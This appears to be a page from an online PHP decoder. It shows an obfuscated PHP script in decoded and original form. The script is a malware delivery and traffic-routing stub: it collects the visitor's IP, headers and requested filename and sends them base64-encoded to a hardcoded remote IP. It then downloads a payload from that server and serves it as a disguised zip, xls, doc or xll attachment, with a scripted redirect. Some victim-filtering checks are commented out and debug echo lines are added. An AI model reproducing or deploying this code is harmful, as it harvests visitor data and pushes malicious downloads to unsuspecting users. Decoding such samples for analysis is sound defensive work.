Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto NczvJ; YjCPZ: echo 'YjCPZ' . PHP_EOL; goto lkj7T; ISXjG: echo ..

Decoded Output download

<?php 
goto NczvJ; 
YjCPZ: 
	echo 'YjCPZ' . PHP_EOL; 
    goto lkj7T; 
    ISXjG: 
		echo 'ISXjG' . PHP_EOL; 
        /* 
		if (stripos($REQUEST_URI, "logotype.jpg") !== false) 
        { 
            $_SESSION["has_logo"] = true; 
            die; 
        } 
		*/ 
        goto YjCPZ; 
        HtwIG: 
			echo 'HtwIG' . PHP_EOL; 
            $file_ext = explode(".", $_GET["e"]); 
            goto MEK2m; 
            Ddolb: 
				echo 'Ddolb' . PHP_EOL; 
                $VERSION = "2.1.4356457345"; 
                goto DJgWN; 
                IE8jO: 
					echo 'IE8jO' . PHP_EOL; 
                    foreach ($links_ip_ckeck as $link_ip_ckeck) 
                    { 
                        $ctx = stream_context_create(array( 
                            "http" => array( 
                                "timeout" => 10 
                            ) 
                        )); 
                        $tmp_resp = @file_get_contents($link_ip_ckeck, false, $ctx); 
                        $tmp_resp_json = json_decode($tmp_resp, true); 
                        if ($tmp_resp_json["status"] === true) 
                        { 
                            $is_black = $tmp_resp_json["is_black"]; 
                            $REDIRECT_FILENAME = $tmp_resp_json["REDIRECT_FILENAME"]; 
                            $is_HH = $tmp_resp_json["is_HH"]; 
                            break; 
                        } 
                    } 
                    goto EdqVK; 
                    NphuR: 
						echo 'NphuR' . PHP_EOL; 
                        $ip_for_check = getRealIpAddr(); 
                        goto ls2_V; 
                        KtSFO: 
                            foreach ($hdrs as $key => $value) 
                            { 
                                $kk = strtolower($key); 
                                $hdrs_new[$kk] = $value; 
                            } 
                            goto HtwIG; 
                            jsfZC: 
								echo 'jsfZC' . PHP_EOL; 
                                /*if (count($REQUEST_URI_ARR) != 3) 
                                { 
                                    die(''); 
                                }*/ 
                                goto aUVdE; 
                                DX113: 
									echo 'DX113' . PHP_EOL; 
                                    function getRealIpAddr() 
                                    { 
                                        if (!empty($_SERVER["HTTP_CLIENT_IP"])) 
                                        { 
                                            $ip = $_SERVER["HTTP_CLIENT_IP"]; 
                                        } 
                                        elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) 
                                        { 
                                            $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; 
                                        } 
                                        else 
                                        { 
                                            $ip = $_SERVER["REMOTE_ADDR"]; 
                                        } 
                                        return $ip; 
                                    } 
                                    goto CBzEB; 
                                    vwN1Z: 
										echo 'vwN1Z' . PHP_EOL; 
                                        shuffle($links); 
                                        goto bF572; 
                                        I2gfh: 
											echo 'I2gfh' . PHP_EOL; 
                                            $data_json = json_encode($data_json); 
                                            goto NC2e9; 
                                            NSY9Q: 
												echo 'NSY9Q' . PHP_EOL; 
                                                error_reporting(E_ALL); 
                                                goto hAZsJ; 
                                                EdqVK: 
													echo 'EdqVK' . PHP_EOL; 
                                                    /*if ($is_black) 
                                                    { 
                                                        die(''); 
                                                    }*/ 
                                                    goto WBJVo; 
                                                    AKIFX: 
														echo 'AKIFX' . PHP_EOL; 
                                                        if (empty($_SESSION["doc_name"])) 
                                                        { 
                                                            $_SESSION["doc_name"] = $REDIRECT_FILENAME . "." . $file_ext; 
                                                        } 
                                                        goto eO811; 
                                                        CBzEB: 
															echo 'CBzEB' . PHP_EOL; 
                                                            $hdrs_new = array(); 
                                                            goto QCdJC; 
                                                            QCdJC: 
																echo 'QCdJC' . PHP_EOL; 
                                                                $hdrs = getallheaders(); 
                                                                goto KtSFO; 
                                                                kCapR: 
																	echo 'kCapR' . PHP_EOL; 
                                                                    $is_HH = false; 
                                                                    goto IE8jO; 
                                                                    Fp11U: 
																		echo 'Fp11U' . PHP_EOL; 
                                                                        if (!in_array($file_ext, array( 
                                                                            "zip", 
                                                                            "xls", 
                                                                            "doc", 
                                                                            "xll" 
                                                                        ))) 
                                                                        { 
                                                                            $file_ext = "zip"; 
                                                                        } 
                                                                        goto hlr3d; 
                                                                        NczvJ: 
																			echo 'NczvJ' . PHP_EOL; 
                                                                            ini_set("display_errors", 0); 
                                                                            goto DDK16; 
                                                                            ls2_V: 
																				echo 'ls2_V' . PHP_EOL; 
                                                                                $links_ip_ckeck = array( 
                                                                                    "http://162.33.178.4/router_black.php?ip=" . $ip_for_check . "&data=" . $data_json . "&version=" . $VERSION . "&alanpo=" . $hdrs_new["alanpo"], 
                                                                                    "http://162.33.178.4/router_black.php?ip=" . $ip_for_check . "&data=" . $data_json . "&version=" . $VERSION . "&alanpo=" . $hdrs_new["alanpo"], 
                                                                                    "http://162.33.178.4/router_black.php?ip=" . $ip_for_check . "&data=" . $data_json . "&version=" . $VERSION . "&alanpo=" . $hdrs_new["alanpo"] 
                                                                                ); 
                                                                                goto oLDMy; 
                                                                                DDK16: 
																					echo 'DDK16' . PHP_EOL; 
                                                                                    ini_set("display_startup_errors", 0); 
                                                                                    goto NSY9Q; 
                                                                                    bF572: 
																						echo 'bF572' . PHP_EOL; 
                                                                                        $outfilepath = __DIR__ . "/../big__stat.txt"; 
                                                                                        goto AKIFX; 
                                                                                        NC2e9: 
																							echo 'NC2e9' . PHP_EOL; 
                                                                                            $data_json = base64_encode($data_json); 
                                                                                            goto NphuR; 
                                                                                            hAZsJ: 
																								echo 'hAZsJ' . PHP_EOL; 
                                                                                                function generateRandomString($length = 10) 
                                                                                                { 
                                                                                                    $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
                                                                                                    $charactersLength = strlen($characters); 
                                                                                                    $randomString = ''; 
                                                                                                    for ($i = 0;$i < $length;$i++) 
                                                                                                    { 
                                                                                                        $randomString .= $characters[rand(0, $charactersLength - 1) ]; 
                                                                                                    } 
                                                                                                    return $randomString; 
                                                                                                } 
                                                                                                goto Ddolb; 
                                                                                                A4HQq: 
																									echo 'A4HQq' . PHP_EOL; 
                                                                                                    $links = array( 
                                                                                                        "http://162.33.178.4/router08.php?pp=" . $data_json . "&version=" . $VERSION . "&resp_version=" . $resp_version, 
                                                                                                        "http://162.33.178.4/router08.php?pp=" . $data_json . "&version=" . $VERSION . "&resp_version=" . $resp_version, 
                                                                                                        "http://162.33.178.4/router08.php?pp=" . $data_json . "&version=" . $VERSION . "&resp_version=" . $resp_version 
                                                                                                    ); 
                                                                                                    goto vwN1Z; 
                                                                                                    MEK2m: 
																										echo 'MEK2m' . PHP_EOL; 
                                                                                                        $file_ext = end($file_ext); 
                                                                                                        goto Fp11U; 
                                                                                                        gPKVi: 
																											echo 'gPKVi' . PHP_EOL; 
                                                                                                            /*if (empty($hdrs_new["hh"]) && $_GET["e"] != $REDIRECT_FILENAME . "." . $file_ext) 
                                                                                                            { 
                                                                                                                die; 
                                                                                                            }*/ 
                                                                                                            goto ZLON1; 
                                                                                                            FeiiU: 
																												echo 'FeiiU' . PHP_EOL; 
                                                                                                                /*if (stripos($_SERVER["HTTP_USER_AGENT"], "Windows") === false) 
                                                                                                                { 
                                                                                                                    die(''); 
                                                                                                                }*/ 
                                                                                                                goto DX113; 
                                                                                                                WBJVo: 
																													echo 'WBJVo' . PHP_EOL; 
                                                                                                                    if (!$is_HH) 
                                                                                                                    { 
                                                                                                                        if ($_GET["e"] != $REDIRECT_FILENAME . "." . $file_ext) 
                                                                                                                        { 
                                                                                                                            $_SESSION["__redirect_was_start"] = true; 
                                                                                                                            $_SESSION["doc_name"] = $_GET["e"]; 
                                                                                                                            if (stripos($_SESSION["doc_name"], "." . $file_ext) === false) 
                                                                                                                            { 
                                                                                                                                $_SESSION["doc_name"] .= "." . $file_ext; 
                                                                                                                            } 
                                                                                                                            $_SESSION["file_ext"] = $file_ext; 
                                                                                                                            $redirect_uri = str_replace($_GET["e"], $REDIRECT_FILENAME . "." . $file_ext, $REQUEST_URI); 
                                                                                                                            $random_name_id = generateRandomString(rand(2, 8)); 
                                                                                                                            echo "<html><body>"; 
                                                                                                                            echo "<span id="" . $random_name_id . "" data-" . $random_name_id . "="" . $redirect_uri . ""></span>"; 
                                                                                                                            echo "<script>"; 
                                                                                                                            echo "location.pathname = document.getElementById('" . $random_name_id . "').getAttribute('data-" . $random_name_id . "');"; 
                                                                                                                            echo "</script>"; 
                                                                                                                            echo "</body></html>"; 
                                                                                                                            die; 
                                                                                                                        } 
                                                                                                                    } 
                                                                                                                    goto p1q67; 
                                                                                                                    lkj7T: 
																														echo 'lkj7T' . PHP_EOL; 
                                                                                                                        $REQUEST_URI_ARR = explode("/", $REQUEST_URI); 
                                                                                                                        goto jsfZC; 
                                                                                                                        EcHJn: 
                                                                                                                            /*if (session_start() === false) 
                                                                                                                            { 
                                                                                                                                die(''); 
                                                                                                                            }*/ 
                                                                                                                            goto jY2Of; 
                                                                                                                            hlr3d: 
																																echo 'hlr3d' . PHP_EOL; 
                                                                                                                                $data_json = array( 
                                                                                                                                    "ip" => getRealIpAddr() , 
                                                                                                                                    "time" => time() , 
                                                                                                                                    "hh" => $hdrs_new["hh"], 
                                                                                                                                    "ext" => $file_ext, 
                                                                                                                                    "host" => $_SERVER["SERVER_NAME"], 
                                                                                                                                    "filename" => $_GET["e"] 
                                                                                                                                ); 
                                                                                                                                goto I2gfh; 
                                                                                                                                p1q67: 
																																	echo 'p1q67' . PHP_EOL; 
                                                                                                                                    if (empty($_SESSION["file_ext"])) 
                                                                                                                                    { 
                                                                                                                                        $_SESSION["file_ext"] = "zip"; 
                                                                                                                                    } 
                                                                                                                                    goto gPKVi; 
                                                                                                                                    aUVdE: 
																																		echo 'aUVdE' . PHP_EOL; 
                                                                                                                                        $_GET["e"] = $REQUEST_URI_ARR[2]; 
                                                                                                                                        goto JnzJ_; 
                                                                                                                                        DJgWN: 
																																			echo 'DJgWN' . PHP_EOL; 
                                                                                                                                            $REDIRECT_FILENAME = "charts"; 
                                                                                                                                            goto EcHJn; 
                                                                                                                                            ZLON1: 
                                                                                                                                                $resp_version = 2; 
                                                                                                                                                goto A4HQq; 
                                                                                                                                                jY2Of: 
                                                                                                                                                    $REQUEST_URI = $_SERVER["REQUEST_URI"]; 
                                                                                                                                                    goto ISXjG; 
                                                                                                                                                    JnzJ_: 
																																						echo 'JnzJ_' . PHP_EOL; 
                                                                                                                                                        /*if (empty($_SERVER["HTTP_USER_AGENT"])) 
                                                                                                                                                        { 
                                                                                                                                                            die(''); 
                                                                                                                                                        }*/ 
                                                                                                                                                        goto FeiiU; 
                                                                                                                                                        oLDMy: 
                                                                                                                                                            $is_black = false; 
                                                                                                                                                            goto kCapR; 
                                                                                                                                                            eO811: 
                                                                                                                                                                foreach ($links as $link) 
                                                                                                                                                                { 
                                                                                                                                                                    $ctx = stream_context_create(array( 
                                                                                                                                                                        "http" => array( 
                                                                                                                                                                            "timeout" => 30 
                                                                                                                                                                        ) 
                                                                                                                                                                    )); 
                                                                                                                                                                    $data = @file_get_contents($link, false, $ctx); 
                                                                                                                                                                    if ($data == "...." || $data == "...") 
                                                                                                                                                                    { 
                                                                                                                                                                        break; 
                                                                                                                                                                    } 
                                                                                                                                                                    if (strlen($data) < 100) 
                                                                                                                                                                    { 
                                                                                                                                                                        continue; 
                                                                                                                                                                    } 
                                                                                                                                                                    $resp_data = $data; 
                                                                                                                                                                    $fname = $_SESSION["doc_name"]; 
                                                                                                                                                                    if ($resp_version == 2) 
                                                                                                                                                                    { 
                                                                                                                                                                        $tmp_data = json_decode($data, true); 
                                                                                                                                                                        $fname = $REDIRECT_FILENAME . "." . $tmp_data["format"]; 
                                                                                                                                                                        $resp_data = base64_decode($tmp_data["data"]); 
                                                                                                                                                                    } 
                                                                                                                                                                    header("Content-Description: File Transfer"); 
                                                                                                                                                                    header("Content-Type: application/octet-stream"); 
                                                                                                                                                                    header("Content-Disposition: attachment; filename=" . $fname); 
                                                                                                                                                                    header("Content-Transfer-Encoding: binary"); 
                                                                                                                                                                    header("Connection: Keep-Alive"); 
                                                                                                                                                                    header("Expires: 0"); 
                                                                                                                                                                    header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); 
                                                                                                                                                                    header("Pragma: public"); 
                                                                                                                                                                    echo $resp_data; 
                                                                                                                                                                    //die; 
                                                                                                                                                                } 
                                                                                                                                                                 
 ?>

Did this file decode correctly?

Original Code

<?php
goto NczvJ;
YjCPZ:
	echo 'YjCPZ' . PHP_EOL;
    goto lkj7T;
    ISXjG:
		echo 'ISXjG' . PHP_EOL;
        /*
		if (stripos($REQUEST_URI, "\x6c\157\147\157\x74\x79\x70\145\x2e\x6a\x70\x67") !== false)
        {
            $_SESSION["\150\x61\163\137\x6c\x6f\x67\157"] = true;
            die;
        }
		*/
        goto YjCPZ;
        HtwIG:
			echo 'HtwIG' . PHP_EOL;
            $file_ext = explode("\56", $_GET["\x65"]);
            goto MEK2m;
            Ddolb:
				echo 'Ddolb' . PHP_EOL;
                $VERSION = "\x32\56\x31\56\64\x33\x35\x36\x34\65\x37\x33\x34\x35";
                goto DJgWN;
                IE8jO:
					echo 'IE8jO' . PHP_EOL;
                    foreach ($links_ip_ckeck as $link_ip_ckeck)
                    {
                        $ctx = stream_context_create(array(
                            "\x68\x74\x74\x70" => array(
                                "\x74\151\155\x65\x6f\165\x74" => 10
                            )
                        ));
                        $tmp_resp = @file_get_contents($link_ip_ckeck, false, $ctx);
                        $tmp_resp_json = json_decode($tmp_resp, true);
                        if ($tmp_resp_json["\x73\x74\141\164\x75\x73"] === true)
                        {
                            $is_black = $tmp_resp_json["\151\163\x5f\142\154\141\x63\153"];
                            $REDIRECT_FILENAME = $tmp_resp_json["\x52\105\x44\x49\x52\105\x43\x54\x5f\x46\x49\114\x45\116\101\115\105"];
                            $is_HH = $tmp_resp_json["\151\x73\x5f\x48\x48"];
                            break;
                        }
                    }
                    goto EdqVK;
                    NphuR:
						echo 'NphuR' . PHP_EOL;
                        $ip_for_check = getRealIpAddr();
                        goto ls2_V;
                        KtSFO:
                            foreach ($hdrs as $key => $value)
                            {
                                $kk = strtolower($key);
                                $hdrs_new[$kk] = $value;
                            }
                            goto HtwIG;
                            jsfZC:
								echo 'jsfZC' . PHP_EOL;
                                /*if (count($REQUEST_URI_ARR) != 3)
                                {
                                    die('');
                                }*/
                                goto aUVdE;
                                DX113:
									echo 'DX113' . PHP_EOL;
                                    function getRealIpAddr()
                                    {
                                        if (!empty($_SERVER["\x48\x54\124\120\x5f\103\114\111\105\116\x54\x5f\111\x50"]))
                                        {
                                            $ip = $_SERVER["\110\x54\x54\120\137\103\x4c\x49\105\x4e\x54\x5f\111\x50"];
                                        }
                                        elseif (!empty($_SERVER["\110\x54\x54\x50\137\130\x5f\x46\x4f\x52\x57\101\x52\x44\105\x44\137\x46\117\122"]))
                                        {
                                            $ip = $_SERVER["\110\124\x54\120\x5f\x58\x5f\x46\117\x52\x57\101\x52\x44\x45\104\137\x46\117\x52"];
                                        }
                                        else
                                        {
                                            $ip = $_SERVER["\122\105\115\x4f\x54\x45\x5f\101\104\x44\x52"];
                                        }
                                        return $ip;
                                    }
                                    goto CBzEB;
                                    vwN1Z:
										echo 'vwN1Z' . PHP_EOL;
                                        shuffle($links);
                                        goto bF572;
                                        I2gfh:
											echo 'I2gfh' . PHP_EOL;
                                            $data_json = json_encode($data_json);
                                            goto NC2e9;
                                            NSY9Q:
												echo 'NSY9Q' . PHP_EOL;
                                                error_reporting(E_ALL);
                                                goto hAZsJ;
                                                EdqVK:
													echo 'EdqVK' . PHP_EOL;
                                                    /*if ($is_black)
                                                    {
                                                        die('');
                                                    }*/
                                                    goto WBJVo;
                                                    AKIFX:
														echo 'AKIFX' . PHP_EOL;
                                                        if (empty($_SESSION["\x64\x6f\143\x5f\156\141\x6d\x65"]))
                                                        {
                                                            $_SESSION["\144\x6f\143\137\x6e\x61\155\x65"] = $REDIRECT_FILENAME . "\x2e" . $file_ext;
                                                        }
                                                        goto eO811;
                                                        CBzEB:
															echo 'CBzEB' . PHP_EOL;
                                                            $hdrs_new = array();
                                                            goto QCdJC;
                                                            QCdJC:
																echo 'QCdJC' . PHP_EOL;
                                                                $hdrs = getallheaders();
                                                                goto KtSFO;
                                                                kCapR:
																	echo 'kCapR' . PHP_EOL;
                                                                    $is_HH = false;
                                                                    goto IE8jO;
                                                                    Fp11U:
																		echo 'Fp11U' . PHP_EOL;
                                                                        if (!in_array($file_ext, array(
                                                                            "\x7a\151\x70",
                                                                            "\x78\154\x73",
                                                                            "\x64\157\143",
                                                                            "\170\x6c\x6c"
                                                                        )))
                                                                        {
                                                                            $file_ext = "\172\x69\160";
                                                                        }
                                                                        goto hlr3d;
                                                                        NczvJ:
																			echo 'NczvJ' . PHP_EOL;
                                                                            ini_set("\144\151\163\160\154\141\171\x5f\x65\162\162\157\x72\163", 0);
                                                                            goto DDK16;
                                                                            ls2_V:
																				echo 'ls2_V' . PHP_EOL;
                                                                                $links_ip_ckeck = array(
                                                                                    "\150\x74\x74\x70\x3a\57\57\61\x36\62\56\x33\63\56\x31\67\x38\x2e\64\x2f\162\x6f\165\164\145\x72\137\142\x6c\x61\143\153\56\x70\150\160\77\x69\160\x3d" . $ip_for_check . "\x26\144\141\164\141\x3d" . $data_json . "\46\x76\x65\x72\163\151\x6f\156\x3d" . $VERSION . "\x26\141\154\x61\156\160\x6f\x3d" . $hdrs_new["\x61\154\x61\x6e\160\157"],
                                                                                    "\150\x74\164\160\x3a\x2f\x2f\x31\x36\x32\56\63\63\56\x31\67\x38\56\64\57\162\x6f\165\164\145\x72\137\x62\x6c\141\143\x6b\x2e\x70\x68\x70\x3f\151\x70\x3d" . $ip_for_check . "\46\144\x61\164\x61\75" . $data_json . "\46\x76\145\162\163\151\x6f\156\x3d" . $VERSION . "\x26\x61\x6c\x61\x6e\x70\157\75" . $hdrs_new["\141\154\141\x6e\x70\x6f"],
                                                                                    "\x68\164\x74\x70\x3a\57\x2f\61\x36\x32\x2e\x33\x33\x2e\61\x37\x38\56\64\x2f\x72\157\165\164\x65\x72\137\x62\x6c\141\x63\153\x2e\x70\x68\160\x3f\x69\x70\75" . $ip_for_check . "\46\x64\x61\x74\x61\75" . $data_json . "\x26\x76\x65\x72\163\x69\x6f\x6e\x3d" . $VERSION . "\x26\141\x6c\x61\x6e\x70\x6f\x3d" . $hdrs_new["\x61\154\x61\x6e\160\157"]
                                                                                );
                                                                                goto oLDMy;
                                                                                DDK16:
																					echo 'DDK16' . PHP_EOL;
                                                                                    ini_set("\x64\x69\163\160\154\x61\x79\x5f\x73\x74\141\162\164\x75\160\x5f\x65\162\162\x6f\x72\x73", 0);
                                                                                    goto NSY9Q;
                                                                                    bF572:
																						echo 'bF572' . PHP_EOL;
                                                                                        $outfilepath = __DIR__ . "\57\56\x2e\57\142\x69\x67\x5f\137\163\164\141\164\x2e\x74\x78\x74";
                                                                                        goto AKIFX;
                                                                                        NC2e9:
																							echo 'NC2e9' . PHP_EOL;
                                                                                            $data_json = base64_encode($data_json);
                                                                                            goto NphuR;
                                                                                            hAZsJ:
																								echo 'hAZsJ' . PHP_EOL;
                                                                                                function generateRandomString($length = 10)
                                                                                                {
                                                                                                    $characters = "\141\x62\x63\144\x65\146\x67\x68\x69\152\x6b\154\155\x6e\157\x70\161\x72\x73\164\x75\x76\x77\x78\171\x7a\101\x42\x43\x44\105\106\x47\110\111\x4a\113\114\x4d\116\x4f\x50\x51\x52\x53\x54\x55\126\x57\130\131\132";
                                                                                                    $charactersLength = strlen($characters);
                                                                                                    $randomString = '';
                                                                                                    for ($i = 0;$i < $length;$i++)
                                                                                                    {
                                                                                                        $randomString .= $characters[rand(0, $charactersLength - 1) ];
                                                                                                    }
                                                                                                    return $randomString;
                                                                                                }
                                                                                                goto Ddolb;
                                                                                                A4HQq:
																									echo 'A4HQq' . PHP_EOL;
                                                                                                    $links = array(
                                                                                                        "\150\x74\164\x70\72\57\57\x31\66\62\x2e\63\63\56\61\67\70\x2e\x34\x2f\162\157\x75\164\145\162\60\70\56\160\x68\160\77\160\x70\x3d" . $data_json . "\x26\x76\x65\162\163\x69\x6f\156\x3d" . $VERSION . "\x26\x72\145\x73\x70\x5f\x76\145\x72\163\151\x6f\x6e\75" . $resp_version,
                                                                                                        "\x68\164\x74\160\72\x2f\x2f\61\66\62\x2e\63\63\56\x31\x37\x38\x2e\64\x2f\x72\x6f\x75\x74\145\162\60\70\56\160\150\160\77\160\x70\75" . $data_json . "\x26\x76\145\x72\x73\x69\157\156\x3d" . $VERSION . "\x26\162\x65\x73\x70\137\x76\x65\162\x73\151\x6f\x6e\x3d" . $resp_version,
                                                                                                        "\150\164\x74\x70\x3a\57\x2f\x31\x36\x32\56\x33\63\56\61\67\70\x2e\64\57\x72\157\x75\x74\x65\162\60\x38\x2e\x70\150\160\x3f\160\160\75" . $data_json . "\x26\x76\145\x72\163\151\157\156\x3d" . $VERSION . "\46\162\x65\163\x70\137\166\145\162\163\x69\157\x6e\75" . $resp_version
                                                                                                    );
                                                                                                    goto vwN1Z;
                                                                                                    MEK2m:
																										echo 'MEK2m' . PHP_EOL;
                                                                                                        $file_ext = end($file_ext);
                                                                                                        goto Fp11U;
                                                                                                        gPKVi:
																											echo 'gPKVi' . PHP_EOL;
                                                                                                            /*if (empty($hdrs_new["\150\x68"]) && $_GET["\x65"] != $REDIRECT_FILENAME . "\56" . $file_ext)
                                                                                                            {
                                                                                                                die;
                                                                                                            }*/
                                                                                                            goto ZLON1;
                                                                                                            FeiiU:
																												echo 'FeiiU' . PHP_EOL;
                                                                                                                /*if (stripos($_SERVER["\x48\124\x54\x50\137\x55\123\x45\122\137\101\107\105\x4e\124"], "\x57\151\x6e\x64\157\167\163") === false)
                                                                                                                {
                                                                                                                    die('');
                                                                                                                }*/
                                                                                                                goto DX113;
                                                                                                                WBJVo:
																													echo 'WBJVo' . PHP_EOL;
                                                                                                                    if (!$is_HH)
                                                                                                                    {
                                                                                                                        if ($_GET["\x65"] != $REDIRECT_FILENAME . "\56" . $file_ext)
                                                                                                                        {
                                                                                                                            $_SESSION["\x5f\x5f\x72\145\x64\x69\162\x65\143\164\137\x77\141\163\x5f\163\x74\x61\x72\164"] = true;
                                                                                                                            $_SESSION["\x64\157\143\x5f\x6e\141\x6d\x65"] = $_GET["\x65"];
                                                                                                                            if (stripos($_SESSION["\144\157\x63\137\x6e\141\155\x65"], "\56" . $file_ext) === false)
                                                                                                                            {
                                                                                                                                $_SESSION["\144\157\x63\137\156\x61\155\x65"] .= "\x2e" . $file_ext;
                                                                                                                            }
                                                                                                                            $_SESSION["\x66\151\154\x65\x5f\x65\170\x74"] = $file_ext;
                                                                                                                            $redirect_uri = str_replace($_GET["\x65"], $REDIRECT_FILENAME . "\x2e" . $file_ext, $REQUEST_URI);
                                                                                                                            $random_name_id = generateRandomString(rand(2, 8));
                                                                                                                            echo "\x3c\x68\164\155\x6c\76\74\142\157\x64\x79\76";
                                                                                                                            echo "\74\x73\x70\x61\x6e\x20\151\144\x3d\x22" . $random_name_id . "\x22\x20\144\141\164\141\55" . $random_name_id . "\75\42" . $redirect_uri . "\x22\76\74\57\x73\x70\141\x6e\76";
                                                                                                                            echo "\74\163\x63\162\x69\x70\164\x3e";
                                                                                                                            echo "\x6c\x6f\x63\x61\x74\x69\x6f\156\56\160\141\x74\x68\x6e\141\155\145\x20\75\x20\144\157\x63\165\x6d\x65\x6e\x74\56\147\x65\164\105\154\145\x6d\145\156\164\x42\171\111\x64\x28\47" . $random_name_id . "\47\51\56\x67\x65\x74\x41\164\x74\162\x69\x62\x75\164\145\x28\x27\x64\141\164\141\x2d" . $random_name_id . "\47\51\73";
                                                                                                                            echo "\74\x2f\163\x63\x72\x69\x70\164\x3e";
                                                                                                                            echo "\x3c\x2f\x62\x6f\144\x79\x3e\74\x2f\150\x74\155\x6c\76";
                                                                                                                            die;
                                                                                                                        }
                                                                                                                    }
                                                                                                                    goto p1q67;
                                                                                                                    lkj7T:
																														echo 'lkj7T' . PHP_EOL;
                                                                                                                        $REQUEST_URI_ARR = explode("\x2f", $REQUEST_URI);
                                                                                                                        goto jsfZC;
                                                                                                                        EcHJn:
                                                                                                                            /*if (session_start() === false)
                                                                                                                            {
                                                                                                                                die('');
                                                                                                                            }*/
                                                                                                                            goto jY2Of;
                                                                                                                            hlr3d:
																																echo 'hlr3d' . PHP_EOL;
                                                                                                                                $data_json = array(
                                                                                                                                    "\x69\160" => getRealIpAddr() ,
                                                                                                                                    "\x74\151\x6d\145" => time() ,
                                                                                                                                    "\x68\150" => $hdrs_new["\x68\x68"],
                                                                                                                                    "\145\170\164" => $file_ext,
                                                                                                                                    "\x68\x6f\x73\164" => $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\116\x41\x4d\x45"],
                                                                                                                                    "\x66\151\154\x65\156\x61\155\145" => $_GET["\x65"]
                                                                                                                                );
                                                                                                                                goto I2gfh;
                                                                                                                                p1q67:
																																	echo 'p1q67' . PHP_EOL;
                                                                                                                                    if (empty($_SESSION["\146\151\154\145\x5f\145\170\x74"]))
                                                                                                                                    {
                                                                                                                                        $_SESSION["\146\x69\x6c\145\137\145\x78\164"] = "\172\x69\x70";
                                                                                                                                    }
                                                                                                                                    goto gPKVi;
                                                                                                                                    aUVdE:
																																		echo 'aUVdE' . PHP_EOL;
                                                                                                                                        $_GET["\x65"] = $REQUEST_URI_ARR[2];
                                                                                                                                        goto JnzJ_;
                                                                                                                                        DJgWN:
																																			echo 'DJgWN' . PHP_EOL;
                                                                                                                                            $REDIRECT_FILENAME = "\143\x68\141\x72\x74\163";
                                                                                                                                            goto EcHJn;
                                                                                                                                            ZLON1:
                                                                                                                                                $resp_version = 2;
                                                                                                                                                goto A4HQq;
                                                                                                                                                jY2Of:
                                                                                                                                                    $REQUEST_URI = $_SERVER["\x52\105\121\125\105\123\124\x5f\125\x52\111"];
                                                                                                                                                    goto ISXjG;
                                                                                                                                                    JnzJ_:
																																						echo 'JnzJ_' . PHP_EOL;
                                                                                                                                                        /*if (empty($_SERVER["\x48\124\124\x50\137\125\x53\105\x52\x5f\x41\107\105\116\124"]))
                                                                                                                                                        {
                                                                                                                                                            die('');
                                                                                                                                                        }*/
                                                                                                                                                        goto FeiiU;
                                                                                                                                                        oLDMy:
                                                                                                                                                            $is_black = false;
                                                                                                                                                            goto kCapR;
                                                                                                                                                            eO811:
                                                                                                                                                                foreach ($links as $link)
                                                                                                                                                                {
                                                                                                                                                                    $ctx = stream_context_create(array(
                                                                                                                                                                        "\x68\164\x74\x70" => array(
                                                                                                                                                                            "\x74\151\x6d\x65\157\x75\x74" => 30
                                                                                                                                                                        )
                                                                                                                                                                    ));
                                                                                                                                                                    $data = @file_get_contents($link, false, $ctx);
                                                                                                                                                                    if ($data == "\56\56\x2e\56" || $data == "\x2e\56\56")
                                                                                                                                                                    {
                                                                                                                                                                        break;
                                                                                                                                                                    }
                                                                                                                                                                    if (strlen($data) < 100)
                                                                                                                                                                    {
                                                                                                                                                                        continue;
                                                                                                                                                                    }
                                                                                                                                                                    $resp_data = $data;
                                                                                                                                                                    $fname = $_SESSION["\144\x6f\143\x5f\156\x61\x6d\x65"];
                                                                                                                                                                    if ($resp_version == 2)
                                                                                                                                                                    {
                                                                                                                                                                        $tmp_data = json_decode($data, true);
                                                                                                                                                                        $fname = $REDIRECT_FILENAME . "\56" . $tmp_data["\x66\157\162\x6d\x61\164"];
                                                                                                                                                                        $resp_data = base64_decode($tmp_data["\144\x61\164\141"]);
                                                                                                                                                                    }
                                                                                                                                                                    header("\103\157\156\164\145\156\164\x2d\x44\x65\x73\x63\x72\151\160\164\x69\157\x6e\72\x20\106\x69\x6c\145\40\124\162\x61\x6e\x73\146\145\x72");
                                                                                                                                                                    header("\x43\157\156\164\x65\156\x74\55\x54\x79\x70\145\72\x20\x61\x70\160\x6c\x69\x63\x61\x74\x69\x6f\156\x2f\157\x63\x74\x65\x74\x2d\163\x74\x72\145\x61\x6d");
                                                                                                                                                                    header("\x43\157\x6e\x74\145\x6e\x74\x2d\x44\151\x73\x70\157\163\151\x74\151\x6f\156\72\40\x61\164\164\x61\x63\150\155\145\x6e\x74\73\x20\x66\x69\154\x65\156\x61\x6d\145\x3d" . $fname);
                                                                                                                                                                    header("\x43\157\156\164\145\156\164\x2d\124\x72\141\x6e\163\x66\x65\x72\x2d\105\x6e\143\x6f\x64\151\156\x67\x3a\x20\142\151\156\141\x72\x79");
                                                                                                                                                                    header("\103\157\x6e\156\145\143\164\x69\x6f\x6e\x3a\40\113\x65\145\x70\x2d\x41\154\151\x76\x65");
                                                                                                                                                                    header("\x45\x78\x70\151\162\x65\163\72\40\60");
                                                                                                                                                                    header("\103\x61\x63\x68\x65\x2d\x43\157\x6e\x74\162\157\x6c\x3a\40\x6d\x75\163\x74\55\162\x65\166\141\x6c\151\144\141\x74\x65\x2c\40\x70\x6f\x73\x74\x2d\143\150\145\x63\153\x3d\60\54\x20\160\162\x65\x2d\x63\x68\145\x63\153\x3d\x30");
                                                                                                                                                                    header("\120\x72\141\147\155\141\72\x20\160\x75\142\154\151\143");
                                                                                                                                                                    echo $resp_data;
                                                                                                                                                                    //die;
                                                                                                                                                                }
                                                                                                                                                                

Function Calls

None

Variables

None

Stats

MD5 6a08df907e573846db0de5aa7152f02e
Eval Count 0
Decode Time 125 ms